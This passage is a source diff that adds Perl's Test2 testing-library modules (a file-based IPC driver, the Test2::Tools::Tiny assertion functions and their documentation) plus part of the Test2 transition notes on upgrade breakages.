+True if you want to make use of the L<Test2::API>/L<Test2::API::Instance> SHM.
+
+=item $bites = $ipc->shm_size()
+
+Use this to customize the size of the SHM space. There are no guarantees about
+what the size will be if you do not implement this.
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/IPC/Driver/Files.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/IPC/Driver/Files.pm
new file mode 100644
index 00000000000..1d37a833264
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/IPC/Driver/Files.pm
@@ -0,0 +1,483 @@
+package Test2::IPC::Driver::Files;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+
+BEGIN { require Test2::IPC::Driver; our @ISA = qw(Test2::IPC::Driver) }
+
+use Test2::Util::HashBase qw{tempdir event_ids read_ids timeouts tid pid globals};
+
+use Scalar::Util qw/blessed/;
+use File::Temp();
+use Storable();
+use File::Spec();
+use POSIX();
+
+use Test2::Util qw/try get_tid pkg_to_file IS_WIN32 ipc_separator do_rename do_unlink try_sig_mask/;
+use Test2::API qw/test2_ipc_set_pending/;
+
+sub use_shm { 1 }
+sub shm_size() { 64 }
+
+sub is_viable { 1 }
+
+sub init {
+ my $self = shift;
+
+ my $tmpdir = File::Temp::tempdir(
+ $ENV{T2_TEMPDIR_TEMPLATE} || "test2" . ipc_separator . $$ . ipc_separator . "XXXXXX",
+ CLEANUP => 0,
+ TMPDIR => 1,
+ );
+
+ $self->abort_trace("Could not get a temp dir") unless $tmpdir;
+
+ $self->{+TEMPDIR} = File::Spec->canonpath($tmpdir);
+
+ print STDERR "\nIPC Temp Dir: $tmpdir\n\n"
+ if $ENV{T2_KEEP_TEMPDIR};
+
+ $self->{+EVENT_IDS} = {};
+ $self->{+READ_IDS} = {};
+ $self->{+TIMEOUTS} = {};
+
+ $self->{+TID} = get_tid();
+ $self->{+PID} = $$;
+
+ $self->{+GLOBALS} = {};
+
+ return $self;
+}
+
+sub hub_file {
+ my $self = shift;
+ my ($hid) = @_;
+ my $tdir = $self->{+TEMPDIR};
+ return File::Spec->catfile($tdir, "HUB" . ipc_separator . $hid);
+}
+
+sub event_file {
+ my $self = shift;
+ my ($hid, $e) = @_;
+
+ my $tempdir = $self->{+TEMPDIR};
+ my $type = blessed($e) or $self->abort("'$e' is not a blessed object!");
+
+ $self->abort("'$e' is not an event object!")
+ unless $type->isa('Test2::Event');
+
+ my $tid = get_tid();
+ my $eid = $self->{+EVENT_IDS}->{$hid}->{$$}->{$tid} += 1;
+
+ my @type = split '::', $type;
+ my $name = join(ipc_separator, $hid, $$, $tid, $eid, @type);
+
+ return File::Spec->catfile($tempdir, $name);
+}
+
+sub add_hub {
+ my $self = shift;
+ my ($hid) = @_;
+
+ my $hfile = $self->hub_file($hid);
+
+ $self->abort_trace("File for hub '$hid' already exists")
+ if -e $hfile;
+
+ open(my $fh, '>', $hfile) or $self->abort_trace("Could not create hub file '$hid': $!");
+ print $fh "$$\n" . get_tid() . "\n";
+ close($fh);
+}
+
+sub drop_hub {
+ my $self = shift;
+ my ($hid) = @_;
+
+ my $tdir = $self->{+TEMPDIR};
+ my $hfile = $self->hub_file($hid);
+
+ $self->abort_trace("File for hub '$hid' does not exist")
+ unless -e $hfile;
+
+ open(my $fh, '<', $hfile) or $self->abort_trace("Could not open hub file '$hid': $!");
+ my ($pid, $tid) = <$fh>;
+ close($fh);
+
+ $self->abort_trace("A hub file can only be closed by the process that started it\nExpected $pid, got $$")
+ unless $pid == $$;
+
+ $self->abort_trace("A hub file can only be closed by the thread that started it\nExpected $tid, got " . get_tid())
+ unless get_tid() == $tid;
+
+ if ($ENV{T2_KEEP_TEMPDIR}) {
+ my ($ok, $err) = do_rename($hfile, File::Spec->canonpath("$hfile.complete"));
+ $self->abort_trace("Could not rename file '$hfile' -> '$hfile.complete': $err") unless $ok
+ }
+ else {
+ my ($ok, $err) = do_unlink($hfile);
+ $self->abort_trace("Could not remove file for hub '$hid': $err") unless $ok
+ }
+
+ opendir(my $dh, $tdir) or $self->abort_trace("Could not open temp dir!");
+ for my $file (readdir($dh)) {
+ next if $file =~ m{\.complete$};
+ next unless $file =~ m{^$hid};
+ $self->abort_trace("Not all files from hub '$hid' have been collected!");
+ }
+ closedir($dh);
+}
+
+sub send {
+ my $self = shift;
+ my ($hid, $e, $global) = @_;
+
+ my $tempdir = $self->{+TEMPDIR};
+ my $hfile = $self->hub_file($hid);
+ my $dest = $global ? 'GLOBAL' : $hid;
+
+ $self->abort(<<" EOT") unless $global || -f $hfile;
+hub '$hid' is not available, failed to send event!
+
+There was an attempt to send an event to a hub in a parent process or thread,
+but that hub appears to be gone. This can happen if you fork, or start a new
+thread from inside subtest, and the parent finishes the subtest before the
+child returns.
+
+This can also happen if the parent process is done testing before the child
+finishes. Test2 normally waits automatically in the root process, but will not
+do so if Test::Builder is loaded for legacy reasons.
+ EOT
+
+ my $file = $self->event_file($dest, $e);
+ my $ready = File::Spec->canonpath("$file.ready");
+
+ if ($global) {
+ my $name = $ready;
+ $name =~ s{^.*(GLOBAL)}{GLOBAL};
+ $self->{+GLOBALS}->{$hid}->{$name}++;
+ }
+
+ # Write and rename the file.
+ my ($ren_ok, $ren_err);
+ my ($ok, $err) = try_sig_mask {
+ Storable::store($e, $file);
+ ($ren_ok, $ren_err) = do_rename("$file", $ready);
+ };
+
+ if ($ok) {
+ $self->abort("Could not rename file '$file' -> '$ready': $ren_err") unless $ren_ok;
+ test2_ipc_set_pending(substr($file, -(shm_size)));
+ }
+ else {
+ my $src_file = __FILE__;
+ $err =~ s{ at \Q$src_file\E.*$}{};
+ chomp($err);
+ my $tid = get_tid();
+ my $trace = $e->trace->debug;
+ my $type = blessed($e);
+
+ $self->abort(<<" EOT");
+
+*******************************************************************************
+There was an error writing an event:
+Destination: $dest
+Origin PID: $$
+Origin TID: $tid
+Event Type: $type
+Event Trace: $trace
+File Name: $file
+Ready Name: $ready
+Error: $err
+*******************************************************************************
+
+ EOT
+ }
+
+ return 1;
+}
+
+sub driver_abort {
+ my $self = shift;
+ my ($msg) = @_;
+
+ local ($@, $!, $?, $^E);
+ eval {
+ my $abort = File::Spec->catfile($self->{+TEMPDIR}, "ABORT");
+ open(my $fh, '>>', $abort) or die "Could not open abort file: $!";
+ print $fh $msg, "\n";
+ close($fh) or die "Could not close abort file: $!";
+ 1;
+ } or warn $@;
+}
+
+sub cull {
+ my $self = shift;
+ my ($hid) = @_;
+
+ my $tempdir = $self->{+TEMPDIR};
+
+ opendir(my $dh, $tempdir) or $self->abort("could not open IPC temp dir ($tempdir)!");
+
+ my $read = $self->{+READ_IDS};
+ my $timeouts = $self->{+TIMEOUTS};
+
+ my @out;
+ for my $info (sort cmp_events map { $self->should_read_event($hid, $_) } readdir($dh)) {
+ unless ($info->{global}) {
+ my $next = $self->{+READ_IDS}->{$info->{hid}}->{$info->{pid}}->{$info->{tid}} ||= 1;
+
+ $timeouts->{$info->{file}} ||= time;
+
+ if ($next != $info->{eid}) {
+ # Wait up to N seconds for missing events
+ next unless 5 < time - $timeouts->{$info->{file}};
+ $self->abort("Missing event HID: $info->{hid}, PID: $info->{pid}, TID: $info->{tid}, EID: $info->{eid}.");
+ }
+
+ $self->{+READ_IDS}->{$info->{hid}}->{$info->{pid}}->{$info->{tid}} = $info->{eid} + 1;
+ }
+
+ my $full = $info->{full_path};
+ my $obj = $self->read_event_file($full);
+ push @out => $obj;
+
+ # Do not remove global events
+ next if $info->{global};
+
+ if ($ENV{T2_KEEP_TEMPDIR}) {
+ my $complete = File::Spec->canonpath("$full.complete");
+ my ($ok, $err) = do_rename($full, $complete);
+ $self->abort("Could not rename IPC file '$full', '$complete': $err") unless $ok;
+ }
+ else {
+ my ($ok, $err) = do_unlink("$full");
+ $self->abort("Could not unlink IPC file '$full': $err") unless $ok;
+ }
+ }
+
+ closedir($dh);
+ return @out;
+}
+
+sub parse_event_filename {
+ my $self = shift;
+ my ($file) = @_;
+
+ # The || is to force 0 in false
+ my $complete = substr($file, -9, 9) eq '.complete' || 0 and substr($file, -9, 9, "");
+ my $ready = substr($file, -6, 6) eq '.ready' || 0 and substr($file, -6, 6, "");
+
+ my @parts = split ipc_separator, $file;
+ my ($global, $hid) = $parts[0] eq 'GLOBAL' ? (1, shift @parts) : (0, join ipc_separator, splice(@parts, 0, 3));
+ my ($pid, $tid, $eid) = splice(@parts, 0, 3);
+ my $type = join '::' => @parts;
+
+ return {
+ file => $file,
+ ready => $ready,
+ complete => $complete,
+ global => $global,
+ type => $type,
+ hid => $hid,
+ pid => $pid,
+ tid => $tid,
+ eid => $eid,
+ };
+}
+
+sub should_read_event {
+ my $self = shift;
+ my ($hid, $file) = @_;
+
+ return if substr($file, 0, 1) eq '.';
+ return if substr($file, 0, 3) eq 'HUB';
+ CORE::exit(255) if $file eq 'ABORT';
+
+ my $parsed = $self->parse_event_filename($file);
+
+ return if $parsed->{complete};
+ return unless $parsed->{ready};
+ return unless $parsed->{global} || $parsed->{hid} eq $hid;
+
+ return if $parsed->{global} && $self->{+GLOBALS}->{$hid}->{$file}++;
+
+ # Untaint the path.
+ my $full = File::Spec->catfile($self->{+TEMPDIR}, $file);
+ ($full) = ($full =~ m/^(.*)$/gs) if ${^TAINT};
+
+ $parsed->{full_path} = $full;
+
+ return $parsed;
+}
+
+sub cmp_events {
+ # Globals first
+ return -1 if $a->{global} && !$b->{global};
+ return 1 if $b->{global} && !$a->{global};
+
+ return $a->{pid} <=> $b->{pid}
+ || $a->{tid} <=> $b->{tid}
+ || $a->{eid} <=> $b->{eid};
+}
+
+sub read_event_file {
+ my $self = shift;
+ my ($file) = @_;
+
+ my $obj = Storable::retrieve($file);
+ $self->abort("Got an unblessed object: '$obj'")
+ unless blessed($obj);
+
+ unless ($obj->isa('Test2::Event')) {
+ my $pkg = blessed($obj);
+ my $mod_file = pkg_to_file($pkg);
+ my ($ok, $err) = try { require $mod_file };
+
+ $self->abort("Event has unknown type ($pkg), tried to load '$mod_file' but failed: $err")
+ unless $ok;
+
+ $self->abort("'$obj' is not a 'Test2::Event' object")
+ unless $obj->isa('Test2::Event');
+ }
+
+ return $obj;
+}
+
+sub waiting {
+ my $self = shift;
+ require Test2::Event::Waiting;
+ $self->send(
+ GLOBAL => Test2::Event::Waiting->new(
+ trace => Test2::EventFacet::Trace->new(frame => [caller()]),
+ ),
+ 'GLOBAL'
+ );
+ return;
+}
+
+sub DESTROY {
+ my $self = shift;
+
+ return unless defined $self->pid;
+ return unless defined $self->tid;
+
+ return unless $$ == $self->pid;
+ return unless get_tid() == $self->tid;
+
+ my $tempdir = $self->{+TEMPDIR};
+
+ my $aborted = 0;
+ my $abort_file = File::Spec->catfile($self->{+TEMPDIR}, "ABORT");
+ if (-e $abort_file) {
+ $aborted = 1;
+ my ($ok, $err) = do_unlink($abort_file);
+ warn $err unless $ok;
+ }
+
+ opendir(my $dh, $tempdir) or $self->abort("Could not open temp dir! ($tempdir)");
+ while(my $file = readdir($dh)) {
+ next if $file =~ m/^\.+$/;
+ next if $file =~ m/\.complete$/;
+ my $full = File::Spec->catfile($tempdir, $file);
+
+ my $sep = ipc_separator;
+ if ($aborted || $file =~ m/^(GLOBAL|HUB$sep)/) {
+ $full =~ m/^(.*)$/;
+ $full = $1; # Untaint it
+ next if $ENV{T2_KEEP_TEMPDIR};
+ my ($ok, $err) = do_unlink($full);
+ $self->abort("Could not unlink IPC file '$full': $err") unless $ok;
+ next;
+ }
+
+ $self->abort("Leftover files in the directory ($full)!\n");
+ }
+ closedir($dh);
+
+ if ($ENV{T2_KEEP_TEMPDIR}) {
+ print STDERR "# Not removing temp dir: $tempdir\n";
+ return;
+ }
+
+ my $abort = File::Spec->catfile($self->{+TEMPDIR}, "ABORT");
+ unlink($abort) if -e $abort;
+ rmdir($tempdir) or warn "Could not remove IPC temp dir ($tempdir)";
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::IPC::Driver::Files - Temp dir + Files concurrency model.
+
+=head1 DESCRIPTION
+
+This is the default, and fallback concurrency model for L<Test2>. This
+sends events between processes and threads using serialized files in a
+temporary directory. This is not particularly fast, but it works everywhere.
+
+=head1 SYNOPSIS
+
+ use Test2::IPC::Driver::Files;
+
+ # IPC is now enabled
+
+=head1 ENVIRONMENT VARIABLES
+
+=over 4
+
+=item T2_KEEP_TEMPDIR=0
+
+When true, the tempdir used by the IPC driver will not be deleted when the test
+is done.
+
+=item T2_TEMPDIR_TEMPLATE='test2-XXXXXX'
+
+This can be used to set the template for the IPC temp dir. The template should
+follow template specifications from L<File::Temp>.
+
+=back
+
+=head1 SEE ALSO
+
+See L<Test2::IPC::Driver> for methods.
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Tools/Tiny.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Tools/Tiny.pm
new file mode 100644
index 00000000000..93c3df03e8f
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Tools/Tiny.pm
@@ -0,0 +1,435 @@
+package Test2::Tools::Tiny;
+use strict;
+use warnings;
+
+BEGIN {
+ if ($] lt "5.008") {
+ require Test::Builder::IO::Scalar;
+ }
+}
+
+use Scalar::Util qw/blessed/;
+
+use Test2::Util qw/try/;
+use Test2::API qw/context run_subtest test2_stack/;
+
+use Test2::Hub::Interceptor();
+use Test2::Hub::Interceptor::Terminator();
+
+our $VERSION = '1.302133';
+
+BEGIN { require Exporter; our @ISA = qw(Exporter) }
+our @EXPORT = qw{
+ ok is isnt like unlike is_deeply diag note skip_all todo plan done_testing
+ warnings exception tests capture
+};
+
+sub ok($;$@) {
+ my ($bool, $name, @diag) = @_;
+ my $ctx = context();
+
+ return $ctx->pass_and_release($name) if $bool;
+ return $ctx->fail_and_release($name, @diag);
+}
+
+sub is($$;$@) {
+ my ($got, $want, $name, @diag) = @_;
+ my $ctx = context();
+
+ my $bool;
+ if (defined($got) && defined($want)) {
+ $bool = "$got" eq "$want";
+ }
+ elsif (defined($got) xor defined($want)) {
+ $bool = 0;
+ }
+ else { # Both are undef
+ $bool = 1;
+ }
+
+ return $ctx->pass_and_release($name) if $bool;
+
+ $got = '*NOT DEFINED*' unless defined $got;
+ $want = '*NOT DEFINED*' unless defined $want;
+ unshift @diag => (
+ "GOT: $got",
+ "EXPECTED: $want",
+ );
+
+ return $ctx->fail_and_release($name, @diag);
+}
+
+sub isnt($$;$@) {
+ my ($got, $want, $name, @diag) = @_;
+ my $ctx = context();
+
+ my $bool;
+ if (defined($got) && defined($want)) {
+ $bool = "$got" ne "$want";
+ }
+ elsif (defined($got) xor defined($want)) {
+ $bool = 1;
+ }
+ else { # Both are undef
+ $bool = 0;
+ }
+
+ return $ctx->pass_and_release($name) if $bool;
+
+ unshift @diag => "Strings are the same (they should not be)"
+ unless $bool;
+
+ return $ctx->fail_and_release($name, @diag);
+}
+
+sub like($$;$@) {
+ my ($thing, $pattern, $name, @diag) = @_;
+ my $ctx = context();
+
+ my $bool;
+ if (defined($thing)) {
+ $bool = "$thing" =~ $pattern;
+ unshift @diag => (
+ "Value: $thing",
+ "Does not match: $pattern"
+ ) unless $bool;
+ }
+ else {
+ $bool = 0;
+ unshift @diag => "Got an undefined value.";
+ }
+
+ return $ctx->pass_and_release($name) if $bool;
+ return $ctx->fail_and_release($name, @diag);
+}
+
+sub unlike($$;$@) {
+ my ($thing, $pattern, $name, @diag) = @_;
+ my $ctx = context();
+
+ my $bool;
+ if (defined($thing)) {
+ $bool = "$thing" !~ $pattern;
+ unshift @diag => (
+ "Unexpected pattern match (it should not match)",
+ "Value: $thing",
+ "Matches: $pattern"
+ ) unless $bool;
+ }
+ else {
+ $bool = 0;
+ unshift @diag => "Got an undefined value.";
+ }
+
+ return $ctx->pass_and_release($name) if $bool;
+ return $ctx->fail_and_release($name, @diag);
+}
+
+sub is_deeply($$;$@) {
+ my ($got, $want, $name, @diag) = @_;
+ my $ctx = context();
+
+ no warnings 'once';
+ require Data::Dumper;
+
+ # Otherwise numbers might be unquoted
+ local $Data::Dumper::Useperl = 1;
+
+ local $Data::Dumper::Sortkeys = 1;
+ local $Data::Dumper::Deparse = 1;
+ local $Data::Dumper::Freezer = 'XXX';
+ local *UNIVERSAL::XXX = sub {
+ my ($thing) = @_;
+ if (ref($thing)) {
+ $thing = {%$thing} if "$thing" =~ m/=HASH/;
+ $thing = [@$thing] if "$thing" =~ m/=ARRAY/;
+ $thing = \"$$thing" if "$thing" =~ m/=SCALAR/;
+ }
+ $_[0] = $thing;
+ };
+
+ my $g = Data::Dumper::Dumper($got);
+ my $w = Data::Dumper::Dumper($want);
+
+ my $bool = $g eq $w;
+
+ return $ctx->pass_and_release($name) if $bool;
+ return $ctx->fail_and_release($name, $g, $w, @diag);
+}
+
+sub diag {
+ my $ctx = context();
+ $ctx->diag(join '', @_);
+ $ctx->release;
+}
+
+sub note {
+ my $ctx = context();
+ $ctx->note(join '', @_);
+ $ctx->release;
+}
+
+sub skip_all {
+ my ($reason) = @_;
+ my $ctx = context();
+ $ctx->plan(0, SKIP => $reason);
+ $ctx->release if $ctx;
+}
+
+sub todo {
+ my ($reason, $sub) = @_;
+ my $ctx = context();
+
+ # This code is mostly copied from Test2::Todo in the Test2-Suite
+ # distribution.
+ my $hub = test2_stack->top;
+ my $filter = $hub->pre_filter(
+ sub {
+ my ($active_hub, $event) = @_;
+ if ($active_hub == $hub) {
+ $event->set_todo($reason) if $event->can('set_todo');
+ $event->add_amnesty({tag => 'TODO', details => $reason});
+ }
+ else {
+ $event->add_amnesty({tag => 'TODO', details => $reason, inherited => 1});
+ }
+ return $event;
+ },
+ inherit => 1,
+ todo => $reason,
+ );
+ $sub->();
+ $hub->pre_unfilter($filter);
+
+ $ctx->release if $ctx;
+}
+
+sub plan {
+ my ($max) = @_;
+ my $ctx = context();
+ $ctx->plan($max);
+ $ctx->release;
+}
+
+sub done_testing {
+ my $ctx = context();
+ $ctx->done_testing;
+ $ctx->release;
+}
+
+sub warnings(&) {
+ my $code = shift;
+ my @warnings;
+ local $SIG{__WARN__} = sub { push @warnings => @_ };
+ $code->();
+ return \@warnings;
+}
+
+sub exception(&) {
+ my $code = shift;
+ local ($@, $!, $SIG{__DIE__});
+ my $ok = eval { $code->(); 1 };
+ my $error = $@ || 'SQUASHED ERROR';
+ return $ok ? undef : $error;
+}
+
+sub tests {
+ my ($name, $code) = @_;
+ my $ctx = context();
+
+ my $be = caller->can('before_each');
+
+ $be->($name) if $be;
+
+ my $bool = run_subtest($name, $code, 1);
+
+ $ctx->release;
+
+ return $bool;
+}
+
+sub capture(&) {
+ my $code = shift;
+
+ my ($err, $out) = ("", "");
+
+ my $handles = test2_stack->top->format->handles;
+ my ($ok, $e);
+ {
+ my ($out_fh, $err_fh);
+
+ ($ok, $e) = try {
+ # Scalar refs as filehandles were added in 5.8.
+ if ($] ge "5.008") {
+ open($out_fh, '>', \$out) or die "Failed to open a temporary STDOUT: $!";
+ open($err_fh, '>', \$err) or die "Failed to open a temporary STDERR: $!";
+ }
+ # Emulate scalar ref filehandles with a tie.
+ else {
+ $out_fh = Test::Builder::IO::Scalar->new(\$out) or die "Failed to open a temporary STDOUT";
+ $err_fh = Test::Builder::IO::Scalar->new(\$err) or die "Failed to open a temporary STDERR";
+ }
+
+ test2_stack->top->format->set_handles([$out_fh, $err_fh, $out_fh]);
+
+ $code->();
+ };
+ }
+ test2_stack->top->format->set_handles($handles);
+
+ die $e unless $ok;
+
+ $err =~ s/ $/_/mg;
+ $out =~ s/ $/_/mg;
+
+ return {
+ STDOUT => $out,
+ STDERR => $err,
+ };
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::Tools::Tiny - Tiny set of tools for unfortunate souls who cannot use
+L<Test2::Suite>.
+
+=head1 DESCRIPTION
+
+You should really look at L<Test2::Suite>. This package is some very basic
+essential tools implemented using L<Test2>. This exists only so that L<Test2>
+and other tools required by L<Test2::Suite> can be tested. This is the package
+L<Test2> uses to test itself.
+
+=head1 USE Test2::Suite INSTEAD
+
+Use L<Test2::Suite> if at all possible.
+
+=head1 EXPORTS
+
+=over 4
+
+=item ok($bool, $name)
+
+=item ok($bool, $name, @diag)
+
+Run a simple assertion.
+
+=item is($got, $want, $name)
+
+=item is($got, $want, $name, @diag)
+
+Assert that 2 strings are the same.
+
+=item isnt($got, $do_not_want, $name)
+
+=item isnt($got, $do_not_want, $name, @diag)
+
+Assert that 2 strings are not the same.
+
+=item like($got, $regex, $name)
+
+=item like($got, $regex, $name, @diag)
+
+Check that the input string matches the regex.
+
+=item unlike($got, $regex, $name)
+
+=item unlike($got, $regex, $name, @diag)
+
+Check that the input string does not match the regex.
+
+=item is_deeply($got, $want, $name)
+
+=item is_deeply($got, $want, $name, @diag)
+
+Check 2 data structures. Please note that this is a I<DUMB> implementation that
+compares the output of L<Data::Dumper> against both structures.
+
+=item diag($msg)
+
+Issue a diagnostics message to STDERR.
+
+=item note($msg)
+
+Issue a diagnostics message to STDOUT.
+
+=item skip_all($reason)
+
+Skip all tests.
+
+=item todo $reason => sub { ... }
+
+Run a block in TODO mode.
+
+=item plan($count)
+
+Set the plan.
+
+=item done_testing()
+
+Set the plan to the current test count.
+
+=item $warnings = warnings { ... }
+
+Capture an arrayref of warnings from the block.
+
+=item $exception = exception { ... }
+
+Capture an exception.
+
+=item tests $name => sub { ... }
+
+Run a subtest.
+
+=item $output = capture { ... }
+
+Capture STDOUT and STDERR output.
+
+Result looks like this:
+
+ {
+ STDOUT => "...",
+ STDERR => "...",
+ }
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Transition.pod b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Transition.pod
new file mode 100644
index 00000000000..12c46ee569f
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Transition.pod
@@ -0,0 +1,512 @@
+=pod
+
+=head1 NAME
+
+Test2::Transition - Transition notes when upgrading to Test2
+
+=head1 DESCRIPTION
+
+This is where gotchas and breakages related to the Test2 upgrade are
+documented. The upgrade causes Test::Builder to defer to Test2 under the hood.
+This transition is mostly transparent, but there are a few cases that can trip
+you up.
+
+=head1 THINGS THAT BREAK
+
+This is the list of scenarios that break with the new internals.
+
+=head2 Test::Builder1.5/2 conditionals
+
+=head3 The Problem
+
+a few years back there were two attempts to upgrade/replace Test::Builder.
+Confusingly these were called Test::Builder2 and Test::Builder1.5, in that
+order. Many people put conditionals in their code to check the Test::Builder
+version number and adapt their code accordingly.
+
+The Test::Builder2/1.5 projects both died out. Now the conditional code people
+added has become a mine field. A vast majority of modules broken by Test2 fall
+into this category.
+
+=head3 The Fix
+
+The fix is to remove all Test::Builder1.5/2 related code. Either use the
+legacy Test::Builder API, or use Test2 directly.
+
+=head2 Replacing the Test::Builder singleton
+
+=head3 The Problem
+
+Some test modules would replace the Test::Builder singleton instance with their
+own instance or subclass. This was usually done to intercept or modify results
+as they happened.
+
+The Test::Builder singleton is now a simple compatibility wrapper around
+Test2. The Test::Builder singleton is no longer the central place for
+results. Many results bypass the Test::Builder singleton completely, which
+breaks and behavior intended when replacing the singleton.
+
+=head3 The Fix
+
+If you simply want to intercept all results instead of letting them go to TAP,
+you should look at the L<Test2::API> docs and read about pushing a new hub onto
+the hub stack. Replacing the hub temporarily is now the correct way to
+intercept results.
+
+If your goal is purely monitoring of events use the C<< Test2::Hub->listen() >>
+method exported by Test::More to watch events as they are fired. If you wish to
+modify results before they go to TAP look at the C<< Test2::Hub->filter() >>
+method.
+
+=head2 Directly Accessing Hash Elements
+
+=head3 The Problem
+
+Some modules look directly at hash keys on the Test::Builder singleton. The
+problem here is that the Test::Builder singleton no longer holds anything
+important.
+
+=head3 The Fix
+
+The fix is to use the API specified in L<Test2::API> to look at or modify state
+as needed.
+
+=head2 Subtest indentation
+
+=head3 The Problem
+
+An early change, in fact the change that made Test2 an idea, was a change to
+the indentation of the subtest note. IT was decided it would be more readable
+to outdent the subtest note instead of having it inline with the subtest:
+
+ # subtest foo
+ ok 1 - blah
+ 1..1
+ ok 1 - subtest foo
+
+The old style indented the note:
+
+ # subtest foo
+ ok 1 - blah
+ 1..1
+ ok 1 - subtest foo
+
+This breaks tests that do string comparison of TAP output.
+
+=head3 The Fix
+
+ my $indent = $INC{'Test2/API.pm'} ? '' : ' ';
+
+ is(
+ $subtest_output,
+ "${indent}# subtest foo",
+ "Got subtest note"
+ );
+
+Check if C<$INC{'Test2/API.pm'}> is set, if it is then no indentation should be
+expected. If it is not set than the old Test::Builder is in use, indentation
+should be expected.
+
+=head1 DISTRIBUTIONS THAT BREAK OR NEED TO BE UPGRADED
+
+This is a list of cpan modules that have been known to have been broken by the
+upgrade at one point.
+
+=head2 WORKS BUT TESTS WILL FAIL
+
+These modules still function correctly, but their test suites will not pass. If
+you already have these modules installed then you can continue to use them. If
+you are trying to install them after upgrading Test::Builder you will need to
+force installation, or bypass the broken tests.
+
+=over 4
+
+=item Test::DBIx::Class::Schema
+
+This module has a test that appears to work around a Test::Builder bug. The bug
+appears to have been fixed by Test2, which means the workaround causes a
+failure. This can be easily updated, but nobody has done so yet.
+
+Known broken in versions: 1.0.9 and older
+
+=item Test::Kit
+
+This actually works fine, but will not install because L<Test::Aggregate> is in
+the dependency chain.
+
+See the L<Test::Aggregate> info below for additional information.
+
+=item Device::Chip
+
+Tests break due to subtest indentation.
+
+Known broken in version 0.07. Apparently works fine in 0.06 though. Patch has
+been submitted to fix the issue.
+
+=back
+
+=head2 UPGRADE SUGGESTED
+
+These are modules that did not break, but had broken test suites that have
+since been fixed.
+
+=over 4
+
+=item Test::Exception
+
+Old versions work fine, but have a minor test name behavior that breaks with
+Test2. Old versions will no longer install because of this. The latest version
+on CPAN will install just fine. Upgrading is not required, but is recommended.
+
+Fixed in version: 0.43
+
+=item Data::Peek
+
+Some tests depended on C<$!> and C<$?> being modified in subtle ways. A patch
+was applied to correct things that changed.
+
+The module itself works fine, there is no need to upgrade.
+
+Fixed in version: 0.45
+
+=item circular::require
+
+Some tests were fragile and required base.pm to be loaded at a late stage.
+Test2 was loading base.pm too early. The tests were updated to fix this.
+
+The module itself never broke, you do not need to upgrade.
+
+Fixed in version: 0.12
+
+=item Test::Module::Used
+
+A test worked around a now-fixed planning bug. There is no need to upgrade if
+you have an old version installed. New versions install fine if you want them.
+
+Fixed in version: 0.2.5
+
+=item Test::Moose::More
+
+Some tests were fragile, but have been fixed. The actual breakage was from the
+subtest comment indentation change.
+
+No need to upgrade, old versions work fine. Only new versions will install.
+
+Fixed in version: 0.025
+
+=item Test::FITesque
+
+This was broken by a bugfix to how planning is done. The test was updated after
+the bugfix.
+
+Fixed in version: 0.04
+
+=item autouse
+
+A test broke because it depended on Scalar::Util not being loaded. Test2 loads
+Scalar::Util. The test was updated to load Test2 after checking Scalar::Util's
+load status.
+
+There is no need to upgrade if you already have it installed.
+
+Fixed in version: 1.11
+
+=back
+
+=head2 NEED TO UPGRADE
+
+=over 4
+
+=item Test::SharedFork
+
+Old versions need to directly access Test::Builder singleton hash elements. The
+latest version on CPAN will still do this on old Test::Builder, but will defer
+to L<Test2::IPC> on Test2.
+
+Fixed in version: 0.35
+
+=item Test::Builder::Clutch
+
+This works by doing overriding methods on the singleton, and directly accessing
+hash values on the singleton. A new version has been released that uses the
+Test2 API to accomplish the same result in a saner way.
+
+Fixed in version: 0.07
+
+=item Test::Dist::VersionSync
+
+This had Test::Builder2 conditionals. This was fixed by removing the
+conditionals.
+
+Fixed in version: 1.1.4
+
+=item Test::Modern
+
+This relied on C<< Test::Builder->_try() >> which was a private method,
+documented as something nobody should use. This was fixed by using a different
+tool.
+
+Fixed in version: 0.012
+
+=item Test::UseAllModules
+
+Version 0.14 relied on C<< Test::Builder->history >> which was available in
